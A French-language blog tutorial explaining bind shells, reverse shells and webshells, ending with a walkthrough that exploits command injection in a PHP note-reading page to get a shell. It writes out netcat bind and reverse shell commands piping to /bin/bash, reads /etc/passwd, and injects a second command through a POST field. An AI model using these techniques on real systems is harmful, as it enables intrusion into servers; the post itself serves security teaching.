Shell, bind shell, reverse shell et webshell

Sommaire :

  1. Le bind shell
  2. Le reverse shell
  3. Le webshell
  4. tty? Késako?
  5. Exemple de scénario d'attaque
  6. Conclusion

Shell, bind shell, reverse shell, webshell... Si ces mots ne vous parlent pas cet article est fait pour vous. Tout d'abord commençons par la base. Un shell c'est quoi?

Un shell est une interface en ligne de commande qui sert d'interface de communication entre l'utilisateur et le système d'exploitation. L'utilisateur peut taper des commandes pour effectuer des actions sur l'ordinateur. Un shell est une alternative à l'interface graphique. Le shell par défaut sur linux s'appelle bash alors que le shell par défaut sur Windows s'appelle cmd.exe. Les exemples ci-dessous seront réalisées sur des environnement linux.

Une invite de commande sous linux

Maintenant que vous avez compris ce qu'est un shell je vais pouvoir vous présenter ce qu'est un bind shell, un reverse shell et un webshell. Ces trois types de shell fonctionnent avec un système client/serveur. Autrement dit ces shell servent à exécuter des commandes sur un serveur à distance.

Le bind shell

Le blind shell consiste à ouvrir un port sur le serveur pour ensuite se connecter à ce port via un client. Simple non?

Etape n°1: Ouverture de port sur le serveur

L'ouverture de port sur le serveur peut se faire avec cette commande: nc -lvp 4444 -e /bin/bash. Cette commande récupère tout ce qui est envoyé sur le port 4444 et l'exécute avec /bin/bash

Etape n°2: Le client se connecte sur le serveur via le port ouvert

Cette opération peut se faire via cette commande: nc [IP Serveur] [Port serveur]:

Reverse shell

Un bind shell fonctionne très bien mais parfois il y a un firewall entre les deux équipements. Le firewall va refuser tous les packets entrants donc le client ne pourra plus se connecter sur le port ouvert sur le serveur.

Par contre un firewall laisse passer les demandes de connexions sortantes. C'est cette particularité qui est exploitée lors d'un reverse shell. C'est le serveur qui se connecte au client pour lui demander quelle commande il doit exécuter:

Etape n°1: Ouverture d'un port sur le client:

Il faut tout d'abord ouvrir un port sur le client pour accueillir la connexion tcp. Cette action est réalisable avec cette commande : nc -lvp 4444

Etape n°2: Le serveur se connecte au client

Il faut ensuite déclencher la connexion tcp. Il est possible de le faire via cette commande: nc [IP client] [Port client] -e /bin/bash

Une fois cette commande exécutée sur le serveur, une connexion apparaît sur la fenêtre du client. Vous pouvez maintenant taper des commandes 🙂

Webshell

Un webshell est un shell qui est disponible depuis une page web. Voici un code PHP qui une fois hébergé sur un serveur va pouvoir nous permettre d'exécuter des commandes:

Pour utiliser ce webshell il faut se rendre sur la page php et initialiser la variable "cmd" dans l'url avec la commande :

C'est un peu rudimentaire comme code mais ça fonctionne. Si vous voulez un webshell plus joli vous pouvez en télécharger plein sur internet. je vous conseille p0wny-shell:

tty? Késako?

Lorsque vous mettez en place un reverse shell ou un bind shell le système ne vous considère pas comme une entrée standard. Cela peut poser des problèmes avec certaines commandes (il sera par exemple impossible d'exécuter sudo avec un mot de passe). Pour remédier à ce problème il est possible d'appeler /bin/bash pour avoir un tty. C'est possible de le faire en python:

Il existe de nombreuses commandes pour faire spawn un tty. Certaines de ces commandes sont listées dans l'onglet cheat sheet

Exemple de scénario d'attaque:

Je vais maintenant vous présenter un exemple d'attaque. Nous allons devoir compromettre ce site:

Ce site permet de pouvoir lire des notes qui ont été écrites par l'admin. Tout fonctionne parfaitement:

Pour nous aider à trouver la faille nous allons pouvoir regarder le code PHP:

Regarder attentivement ce code et essayer de repérer la faille. Le but de cet exercice est d'avoir un shell 🙂 Alors vous l'avez?

Voilà la solution:
Ce script PHP récupère le nom du fichier dans une variable POST puis exécute cat pour récupérer le contenu du fichier. Il est possible de visualiser la requête via burp:

Il n'y a aucun filtre ni aucune vérification sur la variable POST file on peut donc y écrire n'importe quoi. Il faut savoir que sur linux il est possible d'enchaîner des commandes. L'enchaînement de commande permet d'exécuter plusieurs commandes via une seule ligne. Il suffit de taper ";" entre chaque commande. Par exemple si vous voulez afficher le fichier /etc/passwd et en même temps lister le répertoire courant il est possible de le faire via cette commande:
cat /etc/passwd ; ls

Il est possible d'exploiter cette technique pour exécuter des commandes sur le serveur:

si on envoie cette requête le serveur va exécuter la commande:
cat notes/notes1.txt ; id

On obtient donc le retour de la commande "id" sur la page web. Une fois cette faille identifiée il est facile d'obtenir un shell. On peut imaginer qu'un firewall se trouve entre notre PC et le serveur. Il est donc indispensable de faire un reverse shell. Voici une des requêtes qu'il est possible d'envoyer.

Et voila, nous avons notre shell:

Conclusion

Voici les manières les plus connues pour obtenir un shell distant. Dans cet article les démonstrations ont été réalisées avec des environnements Linux mais vous pouvez adapter vos commandes pour réaliser la même chose sur Windows. Il faut également savoir que j'ai utilisé l'exécutable nc mais il est possible de faire autrement (Via des commandes python ou des commandes perl par exemple). Vous pouvez retrouver quelque une de ces commandes dans la catégorie cheat sheet 🙂

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *